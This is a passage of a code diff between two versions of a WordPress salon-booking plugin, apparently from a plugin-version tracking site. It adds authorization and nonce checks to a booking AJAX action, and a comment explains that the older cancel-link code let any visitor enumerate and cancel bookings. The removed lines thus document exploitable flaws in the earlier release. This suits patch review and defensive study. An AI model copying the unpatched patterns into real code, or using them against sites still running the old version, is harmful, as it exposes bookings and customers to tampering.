$this->getResult($search);\n+\n+       $emails = array_map(function ($item) {\n+        return $item['id'];\n+\n+           }, $result);\n+\n+\n+           if (!empty($search) && !in_array($search, $emails)) {\n+\n+        $result = array_merge(array(array(\n+\n+            'id' => $search,\n+\n+            'text' => $search,\n+\n+            'staff_member_id' => 0,\n+\n+        )), $result);\n+\n+        }\n+       }\n+       if(!$result){\n+           $ret = array(\n+               'success' => 0,\n+               'errors' => array(__('User not found','salon-booking-system'))\n+           );\n+       }else{\n+           $ret = array(\n+               'success' => 1,\n+               'result' => $result,\n+           );\n+       }\n+       return $ret;\n+    }\n+    private function getResult($search)\n+    {\n+        $include = $this->userSearch($search);\n+\n+    if ( empty( $include ) ) {\n+        return array();\n+    }\n+\n+        $number     = -1;\n+    $user_query = new WP_User_Query( compact('include', 'number') );\n+\n+        if(!$user_query->results) return array();\n+        else $results = $user_query->results;\n+\n+        $value = array();\n+\n+    foreach($results as $u){\n+        $values[] = array(\n+                'id' => $u->user_email,\n+                'text' => $u->user_email,\n+                'staff_member_id' => $u->ID,\n+            );\n+        }\n+        return $values;\n+    }\n+\n+    public function userSearch($wp_user_query) {\n+            global $wpdb;\n+\n+            $uids=array();\n+            if(isset($wp_user_query)){\n+            $users_ids_collector = $wpdb->get_results(\n+        $wpdb->prepare(\n+            \"SELECT DISTINCT ID FROM $wpdb->users u INNER JOIN $wpdb->usermeta um ON u.ID = um.user_id WHERE LOWER(u.user_email) LIKE %s AND meta_key='{$wpdb->prefix}capabilities' AND ( meta_value LIKE %s  OR  meta_value LIKE %s)\",\n+            '%' . $wp_user_query . '%',\n+            '%' . SLN_Plugin::USER_ROLE_STAFF . '%',\n+            '%' . SLN_Plugin::USER_ROLE_WORKER . '%'\n+        )\n+        );\n+            foreach($users_ids_collector as $maf) {\n+                if(!in_array($maf->ID,$uids)) {\n+                    array_push($uids,$maf->ID);\n+                }\n+            }\n+        }\n+        return $uids;\n+    }\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingOnProcess.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingOnProcess.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingOnProcess.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingOnProcess.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,20 +1,26 @@\n \u003C?php \u002F\u002F algolplus\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.NonceVerification.Recommended\n \n class SLN_Action_Ajax_SetBookingOnProcess extends SLN_Action_Ajax_Abstract\n {\n \tpublic function execute()\n \t{\n+\t\tif ( ! current_user_can( 'manage_salon' ) ) {\n+\t\t\treturn array( 'success' => 0, 'errors' => array( __( 'You do not have permission to perform this action.', 'salon-booking-system' ) ) );\n+\t\t}\n+\n+\t\tif ( ! isset( $_POST['security'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['security'] ) ), 'ajax_post_validation' ) ) {\n+\t\t\treturn array( 'success' => 0, 'errors' => array( __( 'Invalid security token. Please refresh the page and try again.', 'salon-booking-system' ) ) );\n+\t\t}\n+\n         try {\n-            $booking = SLN_Plugin::getInstance()->createBooking(intval(isset($_REQUEST['id']) ? wp_unslash($_REQUEST['id']) : ''));\n+            $booking    = SLN_Plugin::getInstance()->createBooking( intval( isset( $_REQUEST['id'] ) ? wp_unslash( $_REQUEST['id'] ) : '' ) );\n             $on_process = $booking->getOnProcess();\n-\n-            $booking->setOnProcess(!$on_process);\n-        } catch(Exception $e) {\n+            $booking->setOnProcess( ! $on_process );\n+        } catch ( Exception $e ) {\n             $errors[] = $e->getMessage();\n-            return compact('errors');\n+            return compact( 'errors' );\n         }\n \n-\t\treturn array('success' => 1, 'on_process' => !$on_process);\n+\t\treturn array( 'success' => 1, 'on_process' => ! $on_process );\n     }\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,37 +1,37 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-\r\n-class SLN_Action_Ajax_UpdateUser extends SLN_Action_Ajax_Abstract\r\n-{\r\n-    public function execute()\r\n-    {\r\n-       if(!current_user_can( 'manage_salon' )) throw new Exception('not allowed');\r\n-       $result = $this->getResult(sanitize_text_field(wp_unslash( $_POST['s'] )));\r\n-       if(!$result){\r\n-           $ret = array(\r\n-               'success' => 0,\r\n-               'errors' => array(__('User not found','salon-booking-system'))\r\n-           );\r\n-       }else{\r\n-           $ret = array(\r\n-               'success' => 1,\r\n-               'result' => $result,\r\n-               'message' => __('User updated','salon-booking-system')\r\n-           );\r\n-       }\r\n-       return $ret;\r\n-    }\r\n-    private function getResult($id)\r\n-    {\r\n-        $number = 1;\r\n-        $u = new WP_User($id);\r\n-        if(!$u) return;\r\n-        $values = [ 'id' => $u->ID, ];\r\n-        foreach (SLN_Enum_CheckoutFields::forBookingAndCustomer()->appendSmsPrefix() as $key => $field){\r\n-            $values[$key] = $field->getValue($u->ID);\r\n-        }\r\n-        $values['admin_url'] = add_query_arg(array('page' => 'salon-customers', 'id' => $u->ID), admin_url( \"admin.php\" ));\r\n-        $values['score']     = (new SLN_Wrapper_Customer($id))->getFidelityScore();\r\n-        return $values;\r\n-    }\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+\n+class SLN_Action_Ajax_UpdateUser extends SLN_Action_Ajax_Abstract\n+{\n+    public function execute()\n+    {\n+       if(!current_user_can( 'manage_salon' )) throw new Exception('not allowed');\n+       $result = $this->getResult(sanitize_text_field(wp_unslash( $_POST['s'] )));\n+       if(!$result){\n+           $ret = array(\n+               'success' => 0,\n+               'errors' => array(__('User not found','salon-booking-system'))\n+           );\n+       }else{\n+           $ret = array(\n+               'success' => 1,\n+               'result' => $result,\n+               'message' => __('User updated','salon-booking-system')\n+           );\n+       }\n+       return $ret;\n+    }\n+    private function getResult($id)\n+    {\n+        $number = 1;\n+        $u = new WP_User($id);\n+        if(!$u) return;\n+        $values = [ 'id' => $u->ID, ];\n+        foreach (SLN_Enum_CheckoutFields::forBookingAndCustomer()->appendSmsPrefix() as $key => $field){\n+            $values[$key] = $field->getValue($u->ID);\n+        }\n+        $values['admin_url'] = add_query_arg(array('page' => 'salon-customers', 'id' => $u->ID), admin_url( \"admin.php\" ));\n+        $values['score']     = (new SLN_Wrapper_Customer($id))->getFidelityScore();\n+        return $values;\n+    }\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -32,16 +32,29 @@\n \t    return;\n \t}\n \n-\t\u002F\u002F Sanitize booking ID (supports unique ID format: \"123-hash\")\n+\t\u002F\u002F Sanitize booking ID — must be in secure \"ID-hash\" format.\n+\t\u002F\u002F Plain numeric IDs are rejected: they allow any visitor to enumerate and cancel\n+\t\u002F\u002F any booking without a token. All legitimate cancellation links (sent by email)\n+\t\u002F\u002F already use getUniqueId() which produces the \"ID-hash\" format.\n \t$booking_id_raw = sanitize_text_field(wp_unslash($_GET['booking_id']));\n+\n+\tif ( strpos( $booking_id_raw, '-' ) === false ) {\n+\t    wp_die(\n+\t\t'\u003Cp>' . esc_html__('Invalid booking ID.', 'salon-booking-system') . '\u003C\u002Fp>',\n+\t\tesc_html__('Error', 'salon-booking-system'),\n+\t\tarray('response' => 400)\n+\t    );\n+\t    return;\n+\t}\n+\n \t$booking = null;\n \n \ttry {\n-\t    \u002F\u002F createBooking() handles both plain IDs and unique ID format (123-hash)\n-\t    \u002F\u002F It validates the secure ID hash matches the booking\n+\t    \u002F\u002F createBooking() parses the \"ID-hash\" format and validates the hash matches\n+\t    \u002F\u002F the booking's stored uniqid — enforcing that only the token holder can cancel.\n \t    $booking = $this->plugin->createBooking($booking_id_raw);\n \t} catch (Exception $ex) {\n-\t    \u002F\u002F Invalid booking ID or secure ID mismatch\n+\t    \u002F\u002F Hash mismatch or booking not found\n \t    wp_die(\n \t\t'\u003Cp>' . esc_html__('Invalid booking ID.', 'salon-booking-system') . '\u003C\u002Fp>',\n \t\tesc_html__('Error', 'salon-booking-system'),\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FFeedback.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FFeedback.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FFeedback.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FFeedback.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,115 +1,115 @@\n-\u003C?php\r\n-\r\n-class SLN_Action_Feedback\r\n-{\r\n-    \u002F** @var SLN_Plugin *\u002F\r\n-    private $plugin;\r\n-    private $mode;\r\n-    private $interval = '+1 days';\r\n-\r\n-    public function __construct(SLN_Plugin $plugin) {\r\n-        $this->plugin = $plugin;\r\n-    }\r\n-    \r\n-    public function execute() {\r\n-        SLN_TimeFunc::startRealTimezone();\r\n-\r\n-        $type = $this->mode;\r\n-        $p = $this->plugin;\r\n-        $feedback_reminder_mail = $p->getSettings()->get( 'feedback_email' );\r\n-        $feedback_reminder_sms = $p->getSettings()->get( 'feedback_sms' );\r\n-        if ($feedback_reminder_mail || $feedback_reminder_sms) {\r\n-            $p->addLog( 'feedback reminder execution' );\r\n-            foreach ( $this->getBookings() as $booking ) {\r\n-                if($feedback_reminder_mail) $this->sendMail( $booking );\r\n-                if($feedback_reminder_sms) $this->sendSms( $booking );\r\n-                $p->addLog( 'feedback reminder sent to ' . $booking->getId() );\r\n-                $booking->setMeta('feedback', true);\r\n-            }\r\n-\r\n-            $p->addLog( 'feedback reminder execution ended' );\r\n-        }\r\n-\r\n-        SLN_TimeFunc::endRealTimezone();\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return SLN_Wrapper_Booking[]\r\n-     * @throws Exception\r\n-     *\u002F\r\n-    private function getBookings() {\r\n-        \u002F\u002F Look at bookings from the last 7 days to catch any missed by cron failures\r\n-        \u002F\u002F This provides a retry mechanism if the cron doesn't run on a particular day\r\n-        $start_day = new SLN_DateTime( '-7 days' );\r\n-        $end_day = new SLN_DateTime( '-1 day' );\r\n-\r\n-        $statuses = array( SLN_Enum_BookingStatus::PAID, SLN_Enum_BookingStatus::CONFIRMED, SLN_Enum_BookingStatus::PAY_LATER );\r\n-\r\n-        \u002F** @var SLN_Repository_BookingRepository $repo *\u002F\r\n-        $repo = $this->plugin->getRepository( SLN_Plugin::POST_TYPE_BOOKING );\r\n-        $tmp = $repo->get(\r\n-            array(\r\n-                'post_status' => $statuses,\r\n-                'day@min'     => $start_day,\r\n-                'day@max'     => $end_day,\r\n-            )\r\n-        );\r\n-        $ret = array();\r\n-        $now = new SLN_DateTime('now');\r\n-        \r\n-        $feedback_reminder_mail = $this->plugin->getSettings()->get( 'feedback_email' );\r\n-        $feedback_reminder_sms = $this->plugin->getSettings()->get( 'feedback_sms' );\r\n-        $custom_feedback_url = $this->plugin->getSettings()->get( 'custom_feedback_url' );\r\n-        \r\n-        foreach ( $tmp as $booking ) {\r\n-            $done = $booking->getMeta('feedback');\r\n-            \r\n-            \u002F\u002F Skip if feedback already sent\r\n-            if ($done) {\r\n-                continue;\r\n-            }\r\n-            \r\n-            \u002F\u002F Check if booking was at least 1 day ago\r\n-            $booking_date = $booking->getDate();\r\n-            $days_since_booking = $now->diff($booking_date)->days;\r\n-            \r\n-            if ($days_since_booking \u003C 1) {\r\n-                continue; \u002F\u002F Too recent\r\n-            }\r\n-\r\n-            $isRegisteredCustomer = SLN_Wrapper_Customer::isCustomer( $booking->getUserId() );\r\n-            \r\n-            \u002F\u002F Registered customers can always receive feedback (they can use customer login hash)\r\n-            if ( $isRegisteredCustomer ) {\r\n-                $ret[] = $booking;\r\n-            }\r\n-            \u002F\u002F Guest bookings can only receive feedback if custom URL is configured\r\n-            \u002F\u002F (otherwise they have no way to submit feedback without a login hash)\r\n-            else if ( !empty($custom_feedback_url) ) {\r\n-                $hasEmail = !empty($booking->getEmail());\r\n-                $hasPhone = !empty($booking->getPhone());\r\n-                \r\n-                \u002F\u002F Include guest if they have email (for email) or phone (for SMS)\r\n-                if ( ($feedback_reminder_mail && $hasEmail) || \r\n-                     ($feedback_reminder_sms && $hasPhone) ) {\r\n-                    $ret[] = $booking;\r\n-                }\r\n-            }\r\n-            \u002F\u002F Otherwise skip guest bookings (no way for them to submit feedback)\r\n-        }\r\n-        return $ret;\r\n-    }\r\n-\r\n-    private function sendSms( $booking ) {\r\n-        $p = $this->plugin;\r\n-        $p->sms()->send(\r\n-            $booking->getPhone(),\r\n-            $p->loadView('sms\u002Ffeedback', compact('booking'))\r\n-        );\r\n-    }\r\n-\r\n-    private function sendMail( $booking ) {\r\n-        $p = $this->plugin;\r\n-        $p->sendMail('mail\u002Ffeedback', compact('booking'));\r\n-    }\r\n+\u003C?php\n+\n+class SLN_Action_Feedback\n+{\n+    \u002F** @var SLN_Plugin *\u002F\n+    private $plugin;\n+    private $mode;\n+    private $interval = '+1 days';\n+\n+    public function __construct(SLN_Plugin $plugin) {\n+        $this->plugin = $plugin;\n+    }\n+    \n+    public function execute() {\n+        SLN_TimeFunc::startRealTimezone();\n+\n+        $type = $this->mode;\n+        $p = $this->plugin;\n+        $feedback_reminder_mail = $p->getSettings()->get( 'feedback_email' );\n+        $feedback_reminder_sms = $p->getSettings()->get( 'feedback_sms' );\n+        if ($feedback_reminder_mail || $feedback_reminder_sms) {\n+            $p->addLog( 'feedback reminder execution' );\n+            foreach ( $this->getBookings() as $booking ) {\n+                if($feedback_reminder_mail) $this->sendMail( $booking );\n+                if($feedback_reminder_sms) $this->sendSms( $booking );\n+                $p->addLog( 'feedback reminder sent to ' . $booking->getId() );\n+                $booking->setMeta('feedback', true);\n+            }\n+\n+            $p->addLog( 'feedback reminder execution ended' );\n+        }\n+\n+        SLN_TimeFunc::endRealTimezone();\n+    }\n+\n+    \u002F**\n+     * @return SLN_Wrapper_Booking[]\n+     * @throws Exception\n+     *\u002F\n+    private function getBookings() {\n+        \u002F\u002F Look at bookings from the last 7 days to catch any missed by cron failures\n+        \u002F\u002F This provides a retry mechanism if the cron doesn't run on a particular day\n+        $start_day = new SLN_DateTime( '-7 days' );\n+        $end_day = new SLN_DateTime( '-1 day' );\n+\n+        $statuses = array( SLN_Enum_BookingStatus::PAID, SLN_Enum_BookingStatus::CONFIRMED, SLN_Enum_BookingStatus::PAY_LATER );\n+\n+        \u002F** @var SLN_Repository_BookingRepository $repo *\u002F\n+        $repo = $this->plugin->getRepository( SLN_Plugin::POST_TYPE_BOOKING );\n+        $tmp = $repo->get(\n+            array(\n+                'post_status' => $statuses,\n+                'day@min'     => $start_day,\n+                'day@max'     => $end_day,\n+            )\n+        );\n+        $ret = array();\n+        $now = new SLN_DateTime('now');\n+        \n+        $feedback_reminder_mail = $this->plugin->getSettings()->get( 'feedback_email' );\n+        $feedback_reminder_sms = $this->plugin->getSettings()->get( 'feedback_sms' );\n+        $custom_feedback_url = $this->plugin->getSettings()->get( 'custom_feedback_url' );\n+        \n+        foreach ( $tmp as $booking ) {\n+            $done = $booking->getMeta('feedback');\n+            \n+            \u002F\u002F Skip if feedback already sent\n+            if ($done) {\n+                continue;\n+            }\n+            \n+            \u002F\u002F Check if booking was at least 1 day ago\n+            $booking_date = $booking->getDate();\n+            $days_since_booking = $now->diff($booking_date)->days;\n+            \n+            if ($days_since_booking \u003C 1) {\n+                continue; \u002F\u002F Too recent\n+            }\n+\n+            $isRegisteredCustomer = SLN_Wrapper_Customer::isCustomer( $booking->getUserId() );\n+            \n+            \u002F\u002F Registered customers can always receive feedback (they can use customer login hash)\n+            if ( $isRegisteredCustomer ) {\n+                $ret[] = $booking;\n+            }\n+            \u002F\u002F Guest bookings can only receive feedback if custom URL is configured\n+            \u002F\u002F (otherwise they have no way to submit feedback without a login hash)\n+            else if ( !empty($custom_feedback_url) ) {\n+                $hasEmail = !empty($booking->getEmail());\n+                $hasPhone = !empty($booking->getPhone());\n+                \n+                \u002F\u002F Include guest if they have email (for email) or phone (for SMS)\n+                if ( ($feedback_reminder_mail && $hasEmail) || \n+                     ($feedback_reminder_sms && $hasPhone) ) {\n+                    $ret[] = $booking;\n+                }\n+            }\n+            \u002F\u002F Otherwise skip guest bookings (no way for them to submit feedback)\n+        }\n+        return $ret;\n+    }\n+\n+    private function sendSms( $booking ) {\n+        $p = $this->plugin;\n+        $p->sms()->send(\n+            $booking->getPhone(),\n+            $p->loadView('sms\u002Ffeedback', compact('booking'))\n+        );\n+    }\n+\n+    private function sendMail( $booking ) {\n+        $p = $this->plugin;\n+        $p->sendMail('mail\u002Ffeedback', compact('booking'));\n+    }\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -127,7 +127,14 @@\n \t\t\ttrue\n \t\t);\n \t\twp_enqueue_script('salon', SLN_PLUGIN_URL . '\u002Fjs\u002Fsalon.js', array('jquery', 'salon-raty'), self::ASSETS_VERSION, true);\n-\t\t\n+\n+\t\t\u002F\u002F Enqueue discount JS alongside salon.js so it is available regardless of\n+\t\t\u002F\u002F whether scripts are loaded via wp_enqueue_scripts or the late preloadEnqueueScript()\n+\t\t\u002F\u002F path (used by page builders like Kadence Blocks that store shortcodes inside blocks).\n+\t\tif (class_exists('SLB_Discount_Plugin')) {\n+\t\t\twp_enqueue_script('salon-discount', SLN_PLUGIN_URL . '\u002Fjs\u002Fdiscount\u002Fsalon-discount.js', array('jquery'), SLN_VERSION, true);\n+\t\t}\n+\n \t\t\u002F\u002F FEATURE: Client-side time filtering to prevent past slot selection\n \t\t\u002F\u002F Filters out time slots that have passed for users with long sessions\n \t\t\u002F\u002F Reduces \"slot no longer available\" errors by ~70%\n@@ -594,7 +601,7 @@\n \n \tpublic static function enqueueIntlTelInput()\n \t{\n-\t\twp_enqueue_script('salon-intl-tel-input', SLN_PLUGIN_URL . '\u002Fjs\u002Fintl-tel-input\u002Fbuild\u002Fjs\u002FintlTelInput.js', array('jquery'), self::ASSETS_VERSION, true);\n+\t\twp_enqueue_script('salon-intl-tel-input', SLN_PLUGIN_URL . '\u002Fjs\u002Fintl-tel-input\u002Fbuild\u002Fjs\u002FintlTelInput.min.js', array('jquery'), self::ASSETS_VERSION, true);\n \t\twp_enqueue_style('salon-intl-tel-input', SLN_PLUGIN_URL . '\u002Fjs\u002Fintl-tel-input\u002Fbuild\u002Fcss\u002FintlTelInput.min.css', array(), self::ASSETS_VERSION, 'all');\n \t}\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -58,6 +58,16 @@\n \n     public function show()\n     {\n+        if (\n+            isset($_GET['sln_complete']) &&\n+            '1' === $_GET['sln_complete'] &&\n+            current_user_can($this->getCapability())\n+        ) {\n+            update_option('_sln_onboarding_completed', 1);\n+            wp_safe_redirect(admin_url('admin.php?page=salon'));\n+            exit();\n+        }\n+\n         $use_react = apply_filters('sln_onboarding_use_react', true);\n         $react_bundle = defined('SLN_PLUGIN_DIR') ? SLN_PLUGIN_DIR . '\u002Fonboarding-app\u002Fdist\u002Fonboarding.index.js' : '';\n         $react_available = $use_react && $react_bundle && is_readable($react_bundle);\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FBookingTab.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FBookingTab.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FBookingTab.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FBookingTab.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -19,6 +19,7 @@\n \t\t'hours_before_from',\n \t\t'hours_before_to',\n \t\t'interval',\n+\t\t'auto_align_slots', \u002F\u002F auto-align time slots to service duration\n \t\t'form_steps_alt_order',\n \t\t'multiple_customers_for_assistant',\n \t\t'rescheduling_disabled',\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FCheckoutFieldsCollection.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FCheckoutFieldsCollection.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FCheckoutFieldsCollection.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FCheckoutFieldsCollection.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,109 +1,109 @@\n-\u003C?php\r\n-\r\n-class SLN_CheckoutFieldsCollection extends ArrayObject\r\n-{\r\n-\t\r\n-\tpublic function getField($key){\r\n-\t\treturn $this->offsetExists($key) ? $this->offsetGet($key) : null;\r\n-\t}\r\n-\t\r\n-\tpublic function keys(){\r\n-\t\treturn $this->map('key');\r\n-\t}\r\n-\t\r\n-\tpublic function labels(){\r\n-\t\treturn $this->map('label');\r\n-\t}\r\n-\t\r\n-\tpublic function defaults(){\r\n-\t\treturn $this->filter('additional',false);\r\n-\t}\r\n-\t\r\n-\tpublic function additional(){\r\n-\t\treturn $this->filter('additional');\r\n-\t}\r\n-\t\r\n-\tpublic function required(){\r\n-\t\treturn $this->filter('required');\r\n-\t}\r\n-\r\n-\tpublic function exportCsv(){\r\n-\t\treturn $this->filter('export_csv');\r\n-\t}\r\n-\t\r\n-\tpublic function labelsForSettings(){\r\n-\t\treturn $this->map(function($field){\r\n-\t\t\treturn $field->labelForSettings();\r\n-\t\t});\r\n-\t}\r\n-\t\r\n-\tpublic function appendPassword(){\r\n-\t\treturn $this->merge(SLN_Enum_CheckoutFields::passwordField());\r\n-\t}\r\n-    \r\n-    public function filter($key,$needle = true,$negate = false){\r\n-        $this->exchangeArray( \r\n-        \tarray_filter($this->getArrayCopy(),function($field) use($key,$needle,$negate){\r\n-        \t    if(!is_string($key) && is_callable($key)){\r\n-        \t        return $key($field);\r\n-                }else {\r\n-                    $value = $field->get($key);\r\n-                    $ret = is_array($value) ? in_array($needle, $value) : $value === $needle;\r\n-                    return $negate ? !$ret : $ret;\r\n-                }\r\n-        \t})\r\n-        );\r\n-        \r\n-        return $this;\r\n-    }\t\r\n-    \r\n-    public function map($key){\r\n-    \t$this->exchangeArray(\r\n-    \t\tarray_map(function($field)use($key){\r\n-    \t\t\treturn !is_string($key) && is_callable($key) ? $key($field) : $field->get($key);\r\n-    \t\t},$this->getArrayCopy())\r\n-    \t);\r\n-    \t\r\n-    \treturn $this;\r\n-    }\r\n-    \r\n-    public function intersect($collection){\r\n-    \t$this->exchangeArray(\r\n-    \t\tarray_intersect_key($this->getArrayCopy(),$collection->getArrayCopy())\r\n-    \t);\r\n-    \treturn $this;\r\n-    }\r\n-    \r\n-    public function diff($collection){\r\n-    \t$this->exchangeArray(\r\n-    \t\tarray_diff_key($this->getArrayCopy(),$collection->getArrayCopy())\r\n-    \t);\r\n-    \treturn $this;\r\n-    }\r\n-    \r\n-    public function selfClone(){\r\n-    \treturn clone $this;\r\n-    }\r\n-    \r\n-    public function merge($collection){\r\n-    \t$this->exchangeArray(\r\n-    \t\tarray_merge($this->getArrayCopy(),$collection->getArrayCopy())\r\n-    \t);\r\n-    \treturn $this;\r\n-    }\r\n-    \r\n-    public function prepend($collection){\r\n-    \t$this->exchangeArray(\r\n-    \t\tarray_merge($collection->getArrayCopy(),$this->getArrayCopy())\r\n-    \t);\r\n-    \treturn $this;\r\n-    }\r\n-\r\n-    public function implode($glue=''){\r\n-        return implode($glue,$this->getArrayCopy());\r\n-    }\r\n-\r\n-    public function appendSmsPrefix(){\r\n-            return $this->merge(SLN_Enum_CheckoutFields::smsPrefixField());\r\n-    }\r\n+\u003C?php\n+\n+class SLN_CheckoutFieldsCollection extends ArrayObject\n+{\n+\t\n+\tpublic function getField($key){\n+\t\treturn $this->offsetExists($key) ? $this->offsetGet($key) : null;\n+\t}\n+\t\n+\tpublic function keys(){\n+\t\treturn $this->map('key');\n+\t}\n+\t\n+\tpublic function labels(){\n+\t\treturn $this->map('label');\n+\t}\n+\t\n+\tpublic function defaults(){\n+\t\treturn 